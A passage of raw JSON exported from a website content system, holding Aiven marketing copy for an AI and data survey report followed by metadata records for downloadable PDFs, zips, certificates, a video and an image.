center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"id":"aiven-solution","image":{"_type":"mainImage","asset":{"_ref":"image-d34eb4542373b708eecdef524a641ebff99db082-2385x2054-png","_type":"reference"}},"imagePosition":"top","mediaSticky":true,"mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","text":[{"_key":"3da42e76e113","_type":"block","children":[{"_key":"0481509c4c990","_type":"span","marks":[],"text":"People are looking for amazing experiences and organizations are seeking to deliver them through software and AI. AI technology will be inserted into the processes and products of at least 90% of new enterprise apps by 2025 (ISC)."}],"markDefs":[],"style":"normal"},{"_key":"b2c5daaff7d1","_type":"block","children":[{"_key":"6dc88e3cb6970","_type":"span","marks":[],"text":"Data, and the applications it powers, are at the heart of AI. According to McKinsey, companies that are data-driven outperform their competitors by up to 20% (McKinsey 2023). However, organizations are struggling to unlock value, and at a time when they face doing more with less, skills shortages, cloud complexity and legacy technologies getting in the way of innovation, experimentation and differentiation. Less than a third (29%) of organizations are able to evaluate data fast enough to stay on top of their game (Gartner)."}],"markDefs":[],"style":"normal"},{"_key":"55b15039c390","_type":"block","children":[{"_key":"9ed65b1eccfa0","_type":"span","marks":[],"text":"Organizations need the ability to harness the power of their data with choice but without complexity. Aiven delivers this through one unified data and AI platform for organizations to stream, store and serve all their data on the clouds of their choice."}],"markDefs":[],"style":"normal"},{"_key":"8aaa48a6376c","_type":"block","children":[{"_key":"eb50fdddd4ef0","_type":"span","marks":[],"text":"Aiven is:"}],"markDefs":[],"style":"normal"},{"_key":"2539bf86ba6b","_type":"block","children":[{"_key":"3d2ab66ec5cb0","_type":"span","marks":[],"text":"Speeding up the data journey: reducing the time needed to make the most impact on operations, employees and customers."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0e8cef354d8c","_type":"block","children":[{"_key":"dc9aeb276b240","_type":"span","marks":[],"text":"Reducing the skills burden by providing a comprehensive and integrated range of best-of-breed Open Source and proprietary tools and technologies for organizations to mix and match, knowing they are compatible, always up to date and easily tailored to their needs."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e516a5685d88","_type":"block","children":[{"_key":"0e3acc4ceacc0","_type":"span","marks":[],"text":"Offering multi-cloud choice: enabling the abstraction of data from one cloud to another at the click of a button, putting an end to dependence on any one cloud and, again, reducing the skills burden, giving businesses the freedom to choose the right clouds for the job and get immediate benefit from public cloud innovation."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"608aa30c901f","_type":"block","children":[{"_key":"dce0076403ad0","_type":"span","marks":[],"text":"Helping prepare the data needed for powerful generative AI applications."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4a605640a7fd","_type":"block","children":[{"_key":"5205414b9a360","_type":"span","marks":[],"text":"Managing all this for organizations, with full visibility, stability, security, compliance and price predictability."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ebad6c0452e3","_type":"block","children":[{"_key":"a68033b255270","_type":"span","marks":["3e9dcd6a63b3"],"text":"Aiven Platform"},{"_key":"c7f0f7390fd7","_type":"span","marks":[],"text":" unlocks value at the touch of a button, providing seamless data mobility, robust security and compliance, and optimized access to AI and ML services. It puts data in good shape for the business and the business in good shape for innovation."}],"markDefs":[{"_key":"3e9dcd6a63b3","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"},{"_key":"db3d8fbf6eff","_type":"block","children":[{"_key":"a43afae184c30","_type":"span","marks":[],"text":"Everyone benefits:"}],"markDefs":[],"style":"normal"},{"_key":"900a198ed212","_type":"block","children":[{"_key":"bfa6fe029fb70","_type":"span","marks":[],"text":"IT teams get a well-engineered platform that is a pleasure to use: fast, responsive, smooth and reliable, with plenty of scalable power in reserve. However the business uses AI, they know their data is in good shape on a platform optimized to exploit it."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"049ff84ff478","_type":"block","children":[{"_key":"53eb36a3826f0","_type":"span","marks":[],"text":"Developers find it quicker and easier to create new apps using Open-Source and proprietary tools across multiple clouds."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d54399b3d108","_type":"block","children":[{"_key":"339d0065a1530","_type":"span","marks":[],"text":"Lines of business get data where and when they need it, in good shape to delight customers and drive competitive advantage."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"efa899afa6e6","_type":"block","children":[{"_key":"052a87cc62fd0","_type":"span","marks":[],"text":"Leadership knows the business is in good shape to deliver major changes, such as expansion into new markets, launches of new products and services, mergers and acquisitions, and in good shape to cope with emergencies such as disaster recovery and cyberattacks."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Aiven Solution – Incorporating the Power of Data and AI","topOverlap":false,"variant":"mediaRight"},{"_key":"18873fbe8617","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"97d1e90fce4b","_type":"block","children":[{"_key":"8e7cd1a1a109","_type":"span","marks":[],"text":"Organizations invest in AI to achieve several different business outcomes. While cost reduction is always important, the biggest driver is generating new revenue, which generally comes from innovation. Providing value with revolutionary products and an optimized customer experience are primary goals."}],"markDefs":[],"style":"normal"},{"_key":"e55f5aec6e40","_type":"block","children":[{"_key":"17ffa29f10d5","_type":"span","marks":[],"text":"With the introduction of GenAI, many organizations assumed that since it was easy to use, it would be simple to manage. But that is not the case. Organizations need to secure all their data and how they pull it from their data sources, and unify those data sources and aggregate data so that personal (PII) data is removed. However, this data journey is typically done across several technologies."}],"markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"c313cf5498e2","_type":"block","children":[{"_key":"def2f55a2c46","_type":"span","marks":[],"text":"With Aiven, organizations have one unique solution provider that can satisfy all the data journey needs across their technologies. They have one security model, one provider and one partner for demonstrating compliance and quickly addressing any problems that might appear in any of the single technologies or the integrations between them."}],"markDefs":[],"style":"normal"},{"_key":"6dd200698ec7","_type":"block","children":[{"_key":"e2447fb81c31","_type":"span","marks":[],"text":"As a player in the GenAI market, Aiven has incorporated it into its "},{"_key":"e8ff197ce97a","_type":"span","marks":["082ab407d513"],"text":"platform"},{"_key":"5b4f3441e423","_type":"span","marks":[],"text":". For Aiven, it’s not about paring down expenses and the workforce. Their focus is driving revenue through achieving better outcomes for the customer and figuring out the best way to do that."}],"markDefs":[{"_key":"082ab407d513","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"disabled":false,"fullWidth":true,"id":"conclusion","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"?q_showExperience=experience-1732117011547","title":"Book an AI consultation with Aiven"},"roundedCorners":"rounded-none","title":"Conclusion – The Power of Data and AI","topOverlap":false,"variant":"twoColumn"}],"contentIsGated":false,"demioEvent":{"demioSubmitText":"Register"},"downloadLink":"?q_showExperience=experience-1732117011547","downloadText":"Speak to a data expert","image":{"_type":"mainImage","asset":{"_ref":"image-ac64d276720ec74bd1f4444d9de0c4aba00cc3a6-2118x1188-png","_type":"reference"}},"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"00a8f2fbe8f9","_type":"block","children":[{"_key":"26aea0b0a1ab0","_type":"span","marks":[],"text":"While AI is booming, only 17% of companies have successfully implemented it. Discover the challenges and opportunities revealed in an exclusive Gatepoint Research survey of 100 C-suite executives."}],"markDefs":[],"style":"normal"}],"summary":"100 C-suite executives reveal AI challenges, strategies, and predictions. Read the report to gain key insights.","title":"Predicting the Data and AI Revolution","videoHosting":"youtube"},"publishedAt":"2024-11-22T07:00:00.000Z","resourceTag":{"contentType":{"_ref":"d97d2f74-64a4-4256-9e78-86aaa00bf323","_type":"reference"},"tags":[{"_key":"67a32998c196","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"dcbe330f55f6","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Get exclusive insights into the future of data and AI from a survey of 100 C-level executives. Explore the findings today.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-6772981f3892dc007cd0e07dbc42d40a4d17725d-1200x630-jpg","_type":"reference"}},"metaTitle":"Predicting the Data \u0026 AI Revolution Insights"},"slug":{"_type":"slug","current":"/report/predicting-the-data-and-ai-revolution"}} {"_createdAt":"2022-10-04T11:44:23Z","_id":"file-6b9afbb9db98184240c1b402ebb248b3cbdff615-pdf","_rev":"pQMyyQ7sGb8Z3VfBxZ90SN","_type":"sanity.fileAsset","_updatedAt":"2022-10-04T11:44:23Z","assetId":"6b9afbb9db98184240c1b402ebb248b3cbdff615","extension":"pdf","mimeType":"application/pdf","originalFilename":"aiven-code-of-conduct-en.pdf","path":"files/sczeoy4w/production/6b9afbb9db98184240c1b402ebb248b3cbdff615.pdf","sha1hash":"6b9afbb9db98184240c1b402ebb248b3cbdff615","size":2370521,"uploadId":"eQMqiFFHBPJzARR5ny7G1LwGSUrmTNtZ","url":"https://cdn.sanity.io/files/sczeoy4w/production/6b9afbb9db98184240c1b402ebb248b3cbdff615.pdf"} {"_createdAt":"2022-10-03T10:40:14Z","_id":"file-df2ec9ba608cf217c64c7c97fbd17a395345858a-zip","_rev":"XMqVxILwpPMz4xYxcCiAFe","_type":"sanity.fileAsset","_updatedAt":"2022-10-03T10:40:14Z","assetId":"df2ec9ba608cf217c64c7c97fbd17a395345858a","extension":"zip","mimeType":"application/zip","originalFilename":"aiven-fact-sheets.zip","path":"files/sczeoy4w/production/df2ec9ba608cf217c64c7c97fbd17a395345858a.zip","sha1hash":"df2ec9ba608cf217c64c7c97fbd17a395345858a","size":1216192,"uploadId":"uWRIheppyo13PfiB6VZCfxAdVY9DvIIF","url":"https://cdn.sanity.io/files/sczeoy4w/production/df2ec9ba608cf217c64c7c97fbd17a395345858a.zip"} {"_createdAt":"2022-10-03T10:40:50Z","_id":"file-c84f4d704416c9dea519ac91b2398bfa6f84e538-zip","_rev":"6gt785RE12iLxRyFKf1rcu","_type":"sanity.fileAsset","_updatedAt":"2022-10-03T10:40:50Z","assetId":"c84f4d704416c9dea519ac91b2398bfa6f84e538","extension":"zip","mimeType":"application/zip","originalFilename":"aiven-office-life.zip","path":"files/sczeoy4w/production/c84f4d704416c9dea519ac91b2398bfa6f84e538.zip","sha1hash":"c84f4d704416c9dea519ac91b2398bfa6f84e538","size":5564853,"uploadId":"5B2jpIWZGMpahwBNkqlbYi59Y4t9eR1k","url":"https://cdn.sanity.io/files/sczeoy4w/production/c84f4d704416c9dea519ac91b2398bfa6f84e538.zip"} {"_createdAt":"2024-08-02T08:05:51Z","_id":"file-2cb2cf62fd58190002db4ec66021100f600ad833-mp4","_rev":"Gc7Qq2PHZBylrD6rwN9dtv","_type":"sanity.fileAsset","_updatedAt":"2024-08-02T08:05:51Z","assetId":"2cb2cf62fd58190002db4ec66021100f600ad833","extension":"mp4","mimeType":"video/mp4","originalFilename":"Aiven Live Teaser compressed.mp4","path":"files/sczeoy4w/production/2cb2cf62fd58190002db4ec66021100f600ad833.mp4","sha1hash":"2cb2cf62fd58190002db4ec66021100f600ad833","size":9514437,"uploadId":"GEe3rmW5wl5XMwhe2ovFN2peOSmvamQS","url":"https://cdn.sanity.io/files/sczeoy4w/production/2cb2cf62fd58190002db4ec66021100f600ad833.mp4"} {"_createdAt":"2024-05-29T06:54:05Z","_id":"file-1edb8c0dfa08e8f7f4712a8198a3bff4b71e9501-pdf","_rev":"8R1DaRc1r8sF6WENiv23sz","_type":"sanity.fileAsset","_updatedAt":"2024-05-29T06:54:05Z","assetId":"1edb8c0dfa08e8f7f4712a8198a3bff4b71e9501","extension":"pdf","mimeType":"application/pdf","originalFilename":"Aiven Oy_ISO_IEC_27701_2019_Certificate.pdf","path":"files/sczeoy4w/production/1edb8c0dfa08e8f7f4712a8198a3bff4b71e9501.pdf","sha1hash":"1edb8c0dfa08e8f7f4712a8198a3bff4b71e9501","size":297619,"uploadId":"bc1W7O58ueY8kTpwGcojBe6oG8qsD00r","url":"https://cdn.sanity.io/files/sczeoy4w/production/1edb8c0dfa08e8f7f4712a8198a3bff4b71e9501.pdf"} {"_createdAt":"2023-04-26T14:37:10Z","_id":"file-065818a8cd88cd048137368e5710ec35c0361185-pdf","_rev":"CCuwaZUk9s2j8eNCMbmhCf","_type":"sanity.fileAsset","_updatedAt":"2023-04-26T14:37:59Z","altText":null,"assetId":"065818a8cd88cd048137368e5710ec35c0361185","description":"A cheatsheet for the PostgreSQL® JSONB functions, providing a set of consistent examples of all the most common JSONB (and JSON) functions and operators.","extension":"pdf","mimeType":"application/pdf","opt":{"media":{"tags":null}},"originalFilename":"postgresql_jsonb_cheatsheet_en.pdf","path":"files/sczeoy4w/production/065818a8cd88cd048137368e5710ec35c0361185.pdf","sha1hash":"065818a8cd88cd048137368e5710ec35c0361185","size":240052,"title":"PostgreSQL® JSONB Cheatsheet","uploadId":"jdgzin0JHfpcldDiKC9OZhZYBF9r7WQ4","url":"https://cdn.sanity.io/files/sczeoy4w/production/065818a8cd88cd048137368e5710ec35c0361185.pdf"} {"_createdAt":"2022-10-25T12:40:24Z","_id":"file-178aca40c6986a19324bb69bfd34a5df52e1648a-pdf","_rev":"wA46Q9XsoNdzEKdJPb8hO1","_type":"sanity.fileAsset","_updatedAt":"2022-10-25T12:40:24Z","assetId":"178aca40c6986a19324bb69bfd34a5df52e1648a","extension":"pdf","mimeType":"application/pdf","originalFilename":"zalando-kafka-bubuku-presentation.pdf","path":"files/sczeoy4w/production/178aca40c6986a19324bb69bfd34a5df52e1648a.pdf","sha1hash":"178aca40c6986a19324bb69bfd34a5df52e1648a","size":701336,"uploadId":"ZLKTvDbmqCoaA3s7DZirfOqqqFV1kde4","url":"https://cdn.sanity.io/files/sczeoy4w/production/178aca40c6986a19324bb69bfd34a5df52e1648a.pdf"} {"_createdAt":"2023-10-19T06:56:01Z","_id":"file-17dafffe2965f1975b41cc2604336de3b358cf93-pdf","_rev":"kfl1F24L65Nzg04H5I1E7b","_type":"sanity.fileAsset","_updatedAt":"2023-10-19T06:56:13Z","altText":null,"assetId":"17dafffe2965f1975b41cc2604336de3b358cf93","description":null,"extension":"pdf","mimeType":"application/pdf","opt":{"media":{"tags":null}},"originalFilename":"Aiven Culture Book.pdf","path":"files/sczeoy4w/production/17dafffe2965f1975b41cc2604336de3b358cf93.pdf","sha1hash":"17dafffe2965f1975b41cc2604336de3b358cf93","size":5958631,"title":null,"uploadId":"nkZ7bCGRpTsTNwmtiVCeH4JX6nPtv2fV","url":"https://cdn.sanity.io/files/sczeoy4w/production/17dafffe2965f1975b41cc2604336de3b358cf93.pdf"} {"_createdAt":"2023-06-07T07:29:24Z","_id":"file-186a472c2405a7591bd00d30381aedf29fa88dca-pdf","_rev":"rV9BZDYEBgQp95tIyUj6YE","_type":"sanity.fileAsset","_updatedAt":"2023-06-07T07:32:37Z","altText":null,"assetId":"186a472c2405a7591bd00d30381aedf29fa88dca","description":null,"extension":"pdf","mimeType":"application/pdf","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"Aiven Culture Book.pdf","path":"files/sczeoy4w/production/186a472c2405a7591bd00d30381aedf29fa88dca.pdf","sha1hash":"186a472c2405a7591bd00d30381aedf29fa88dca","size":1374444,"title":null,"uploadId":"ALljlXzcN7n5SkKhjVYQfN5hlIUOaRrV","url":"https://cdn.sanity.io/files/sczeoy4w/production/186a472c2405a7591bd00d30381aedf29fa88dca.pdf"} {"_createdAt":"2022-10-03T09:25:50Z","_id":"file-22df515e414e391de60bf74bcb92f69c9d548bbf-pdf","_rev":"XMqVxILwpPMz4xYxcCaLQN","_type":"sanity.fileAsset","_updatedAt":"2022-10-03T09:25:50Z","assetId":"22df515e414e391de60bf74bcb92f69c9d548bbf","extension":"pdf","mimeType":"application/pdf","originalFilename":"aiven-company-fact-sheet.pdf","path":"files/sczeoy4w/production/22df515e414e391de60bf74bcb92f69c9d548bbf.pdf","sha1hash":"22df515e414e391de60bf74bcb92f69c9d548bbf","size":456754,"uploadId":"wqy3Vvhn2lF5UrZodgieavuXX9y2XiYx","url":"https://cdn.sanity.io/files/sczeoy4w/production/22df515e414e391de60bf74bcb92f69c9d548bbf.pdf"} {"_createdAt":"2022-09-19T19:43:16Z","_id":"file-4b2129688cafcf3901b576e253554a1a458f3f68-zip","_rev":"OFlS64pMvIisdGKtV7zRMb","_type":"sanity.fileAsset","_updatedAt":"2022-09-19T19:43:16Z","assetId":"4b2129688cafcf3901b576e253554a1a458f3f68","extension":"zip","mimeType":"application/zip","originalFilename":"aiven-logos.zip","path":"files/sczeoy4w/production/4b2129688cafcf3901b576e253554a1a458f3f68.zip","sha1hash":"4b2129688cafcf3901b576e253554a1a458f3f68","size":3775892,"uploadId":"WM7rHrVVchS8zcTM4jggjg0KxbqYAsFk","url":"https://cdn.sanity.io/files/sczeoy4w/production/4b2129688cafcf3901b576e253554a1a458f3f68.zip"} {"_createdAt":"2024-05-28T12:48:28Z","_id":"file-53d3172630e7f9df98cfb6c2555dd25f6e04d251-pdf","_rev":"0wFQnUDqJIzHRpnmb49dEd","_type":"sanity.fileAsset","_updatedAt":"2024-05-28T12:48:28Z","assetId":"53d3172630e7f9df98cfb6c2555dd25f6e04d251","extension":"pdf","mimeType":"application/pdf","originalFilename":"Aiven_ISAE3000_Type_II_summary_report.pdf","path":"files/sczeoy4w/production/53d3172630e7f9df98cfb6c2555dd25f6e04d251.pdf","sha1hash":"53d3172630e7f9df98cfb6c2555dd25f6e04d251","size":313826,"uploadId":"g0sSNNZs3jCs9rudKDsPSsS5RJKH9gPn","url":"https://cdn.sanity.io/files/sczeoy4w/production/53d3172630e7f9df98cfb6c2555dd25f6e04d251.pdf"} {"_createdAt":"2023-11-28T11:36:56Z","_id":"file-572096f928e28f2e22f1736106becf61fba9f714-pdf","_rev":"BjY9n6joNYFLmv1rs4w3gp","_type":"sanity.fileAsset","_updatedAt":"2023-11-28T11:36:56Z","assetId":"572096f928e28f2e22f1736106becf61fba9f714","extension":"pdf","mimeType":"application/pdf","originalFilename":"Culture Book - Welcome to a wider world.pdf","path":"files/sczeoy4w/production/572096f928e28f2e22f1736106becf61fba9f714.pdf","sha1hash":"572096f928e28f2e22f1736106becf61fba9f714","size":5213947,"uploadId":"o4Jcv0INT0DR3DivfAd8LcS404H4TiPs","url":"https://cdn.sanity.io/files/sczeoy4w/production/572096f928e28f2e22f1736106becf61fba9f714.pdf"} {"_createdAt":"2022-09-19T19:41:46Z","_id":"file-7d42117785435d6b904268c746817c962603e44b-pdf","_rev":"Mv9ba7QfcthzshVwIcczK3","_type":"sanity.fileAsset","_updatedAt":"2022-09-19T19:41:46Z","assetId":"7d42117785435d6b904268c746817c962603e44b","extension":"pdf","mimeType":"application/pdf","originalFilename":"aiven-visual-guidelines-june-2022.pdf","path":"files/sczeoy4w/production/7d42117785435d6b904268c746817c962603e44b.pdf","sha1hash":"7d42117785435d6b904268c746817c962603e44b","size":5784872,"uploadId":"R3i6rRKVX0zHwlJ1EjrbNAH5Qq9z4Nbg","url":"https://cdn.sanity.io/files/sczeoy4w/production/7d42117785435d6b904268c746817c962603e44b.pdf"} {"_createdAt":"2022-10-03T10:39:31Z","_id":"file-812f572c797e332d76574acb8767e0bf004a74f0-zip","_rev":"vDQRRYe9nRreptIRp9ynyU","_type":"sanity.fileAsset","_updatedAt":"2022-10-03T10:39:31Z","assetId":"812f572c797e332d76574acb8767e0bf004a74f0","extension":"zip","mimeType":"application/zip","originalFilename":"aiven-founders.zip","path":"files/sczeoy4w/production/812f572c797e332d76574acb8767e0bf004a74f0.zip","sha1hash":"812f572c797e332d76574acb8767e0bf004a74f0","size":18216200,"uploadId":"imFYkq0IdGRnNpO5eev5d7BH5aTXOl7Y","url":"https://cdn.sanity.io/files/sczeoy4w/production/812f572c797e332d76574acb8767e0bf004a74f0.zip"} {"_createdAt":"2022-12-09T16:13:45Z","_id":"file-944c69e9cabd057c63785169934004f7a861dd25-pdf","_rev":"cwf6PSmkIH3MXtFHz0bMpa","_type":"sanity.fileAsset","_updatedAt":"2022-12-09T16:13:45Z","assetId":"944c69e9cabd057c63785169934004f7a861dd25","extension":"pdf","mimeType":"application/pdf","originalFilename":"Aiven_ISO27001_ISO27017_SO27018_Certificate.pdf","path":"files/sczeoy4w/production/944c69e9cabd057c63785169934004f7a861dd25.pdf","sha1hash":"944c69e9cabd057c63785169934004f7a861dd25","size":77976,"uploadId":"e9HM0VnUOgm0L6cFwT440iO6P2f5ndDj","url":"https://cdn.sanity.io/files/sczeoy4w/production/944c69e9cabd057c63785169934004f7a861dd25.pdf"} {"_createdAt":"2022-10-25T12:44:40Z","_id":"file-a00d44e557a4de1cd49f809feadd85bc882af8fc-pdf","_rev":"4DA7uzMe7PWND6MELsZMoM","_type":"sanity.fileAsset","_updatedAt":"2022-10-25T12:44:40Z","assetId":"a00d44e557a4de1cd49f809feadd85bc882af8fc","extension":"pdf","mimeType":"application/pdf","originalFilename":"zalando-kafka-cdc-presentation.pdf","path":"files/sczeoy4w/production/a00d44e557a4de1cd49f809feadd85bc882af8fc.pdf","sha1hash":"a00d44e557a4de1cd49f809feadd85bc882af8fc","size":2133393,"uploadId":"ax2rFCYryjmkQb8LIO0BATfurRmO93pP","url":"https://cdn.sanity.io/files/sczeoy4w/production/a00d44e557a4de1cd49f809feadd85bc882af8fc.pdf"} {"_createdAt":"2024-05-28T12:42:37Z","_id":"file-b72883d93b54429949342b2045a9b17e8e8547ef-pdf","_rev":"0wFQnUDqJIzHRpnmb49Oyf","_type":"sanity.fileAsset","_updatedAt":"2024-05-28T12:42:37Z","assetId":"b72883d93b54429949342b2045a9b17e8e8547ef","extension":"pdf","mimeType":"application/pdf","originalFilename":"Aiven_ISO_IEC_27001_2013_27017_2015_27018_2019_Certificate.pdf","path":"files/sczeoy4w/production/b72883d93b54429949342b2045a9b17e8e8547ef.pdf","sha1hash":"b72883d93b54429949342b2045a9b17e8e8547ef","size":292235,"uploadId":"sa0ZRwgeCsTBqQG4L6PoCYA8w9uWV6hV","url":"https://cdn.sanity.io/files/sczeoy4w/production/b72883d93b54429949342b2045a9b17e8e8547ef.pdf"} {"_createdAt":"2022-10-03T10:45:42Z","_id":"file-bd17d7a738e89fda8a18142578e262b0311860e2-zip","_rev":"6gt785RE12iLxRyFKf2qs5","_type":"sanity.fileAsset","_updatedAt":"2022-10-03T10:45:42Z","assetId":"bd17d7a738e89fda8a18142578e262b0311860e2","extension":"zip","mimeType":"application/zip","originalFilename":"aiven-products.zip","path":"files/sczeoy4w/production/bd17d7a738e89fda8a18142578e262b0311860e2.zip","sha1hash":"bd17d7a738e89fda8a18142578e262b0311860e2","size":7419683,"uploadId":"f0kOU4bKbLMqoi1ZdV6nnH2I4s4bNuKh","url":"https://cdn.sanity.io/files/sczeoy4w/production/bd17d7a738e89fda8a18142578e262b0311860e2.zip"} {"_createdAt":"2022-12-09T16:22:24Z","_id":"file-bd90b3440aa5a93b1e52f74016bc7be91709bcfd-pdf","_rev":"Bp455s9rtQ49wRO6valmiF","_type":"sanity.fileAsset","_updatedAt":"2022-12-09T16:22:24Z","assetId":"bd90b3440aa5a93b1e52f74016bc7be91709bcfd","extension":"pdf","mimeType":"application/pdf","originalFilename":"Aiven_ISAE3000__SOC3__Type_II_summary_report.pdf","path":"files/sczeoy4w/production/bd90b3440aa5a93b1e52f74016bc7be91709bcfd.pdf","sha1hash":"bd90b3440aa5a93b1e52f74016bc7be91709bcfd","size":174471,"uploadId":"uO8lcB9HkIyO5pkWhJ3JQCJzLT4P5GRX","url":"https://cdn.sanity.io/files/sczeoy4w/production/bd90b3440aa5a93b1e52f74016bc7be91709bcfd.pdf"} {"_createdAt":"2022-10-25T12:40:24Z","_id":"file-cf0d2c8aaeb5ccc75a2142e629915e658a7762ec-pdf","_rev":"wA46Q9XsoNdzEKdJPb8h9P","_type":"sanity.fileAsset","_updatedAt":"2022-10-25T12:40:24Z","assetId":"cf0d2c8aaeb5ccc75a2142e629915e658a7762ec","extension":"pdf","mimeType":"application/pdf","originalFilename":"zalando-kafka-nakadi-presentation.pdf","path":"files/sczeoy4w/production/cf0d2c8aaeb5ccc75a2142e629915e658a7762ec.pdf","sha1hash":"cf0d2c8aaeb5ccc75a2142e629915e658a7762ec","size":693932,"uploadId":"0yD8AmDjsjWv6QtqPxXfmJiONb6DK7iK","url":"https://cdn.sanity.io/files/sczeoy4w/production/cf0d2c8aaeb5ccc75a2142e629915e658a7762ec.pdf"} {"_createdAt":"2022-12-09T16:22:24Z","_id":"file-cf2cad4cb40988910248cb2d007080a359a01c86-pdf","_rev":"cwf6PSmkIH3MXtFHz0ddY4","_type":"sanity.fileAsset","_updatedAt":"2022-12-09T16:22:24Z","assetId":"cf2cad4cb40988910248cb2d007080a359a01c86","extension":"pdf","mimeType":"application/pdf","originalFilename":"Aiven_ISO27701_Certificate.pdf","path":"files/sczeoy4w/production/cf2cad4cb40988910248cb2d007080a359a01c86.pdf","sha1hash":"cf2cad4cb40988910248cb2d007080a359a01c86","size":78227,"uploadId":"XkHXGIm8mHC2XJIKuKfbjIBxvVt1NTYx","url":"https://cdn.sanity.io/files/sczeoy4w/production/cf2cad4cb40988910248cb2d007080a359a01c86.pdf"} {"_createdAt":"2022-09-02T16:37:17Z","_id":"file-e56a51a7ee73a3cd3ccab5c3b7a4d27503b9fc06-pdf","_rev":"0gThdvMbf71ZLkDCR4wH4k","_type":"sanity.fileAsset","_updatedAt":"2022-09-02T16:37:17Z","assetId":"e56a51a7ee73a3cd3ccab5c3b7a4d27503b9fc06","extension":"pdf","mimeType":"application/pdf","originalFilename":"Aiven_ISO27001_10305-02en.pdf","path":"files/sczeoy4w/production/e56a51a7ee73a3cd3ccab5c3b7a4d27503b9fc06.pdf","sha1hash":"e56a51a7ee73a3cd3ccab5c3b7a4d27503b9fc06","size":74592,"uploadId":"GBMtT4Gabee7Y8OhkUYcCQqmUz89UIim","url":"https://cdn.sanity.io/files/sczeoy4w/production/e56a51a7ee73a3cd3ccab5c3b7a4d27503b9fc06.pdf"} {"_createdAt":"2024-03-15T13:54:23Z","_id":"image-44515a1d6031717fdd221ab5ad346f88b973b66b-1200x628-png","_rev":"2QvLnXP36WAnQ13A3vU9iS","_type":"sanity.imageAsset","_updatedAt":"2024-03-15T13:54:23Z","assetId":"44515a1d6031717fdd221ab5ad346f88b973b66b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MSSyQ^*KkrY6m,eTxuWUV[jbhfc[WAivkX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACc0lEQVQokVWSTWhUZxiFv7mJiZTGRjLGqqkgqKhBtBtTSuumOzelmnRqdPI7+R0VGRMoReiiVqMgCG2p0Z0guFJoEcTKzEKSGtEo2YgLFyG4vJkwmZnMvd9855GblNouXt7zbh7OyzlG7bXo5AbUG0d9TSjVhAY2op461GVQj0H9BpvyKKTq8Ic/xB9vwb9wEP/yIfwL+/F/2od/8VP8K20YdaxD3XE02IJGPkHp7Si9FQ1tRIMNaGQDSjewdGorLzOHyX3fTvbHJNlLQ2SvpMlNDJK7lCI7Ed2jGCXWo4Ft6PRulGlFY60oswtldqDxneiHvej8HgoTX/H6zjWeZXM8fzzN7NTfzE7P8GJ6Zk1PPWF2+knksBYlG1H/ZjS4BQ1H04xGN6HTH6NzLej8TuxkO4XZB+T9PIVimeXSCsVShVK5QvFfHWDcUYOOeaijBiVqUGcNOuGhLg/1eCi1Ds7Fqd5spzj3F4V8nvJKmSCsYG2ItZYwDKlai5zD6BvD6kTgDoMSBh036KRZC6XXwNmPsDeOsjT3iMXFPMVyiZWgsgqy/wCj7SLge4ceSnjouxjq/A+wz1sDTn5NYe4h+UWfYmmZSlDGhgFVGxIGwap2VYtxHbW4ZCMuqk1PI0rWo87Ye2B/DYzFqV4/QunxJMuvcpTfTBHMz2AXnlGdf4qdf0p14Tnu7QuM+7YO17sZF9Um1Yy6PkAn/g/UWBx37TPCWwmC293YO31U76Vxf5xBd0dw90Zxf55F9zMYd8zDJerR8fWoM3IXhRJDyRjqjq2+rDMN6Ofd6OoBdHEXurwX/dKGfv8c/XoI/daGrn+BJr/kHawCOOWJ2BARAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c303c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#15194f","foreground":"#fff","population":2.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":17.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c49c9b","foreground":"#000","population":0.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fabf69","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac6e4d","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSw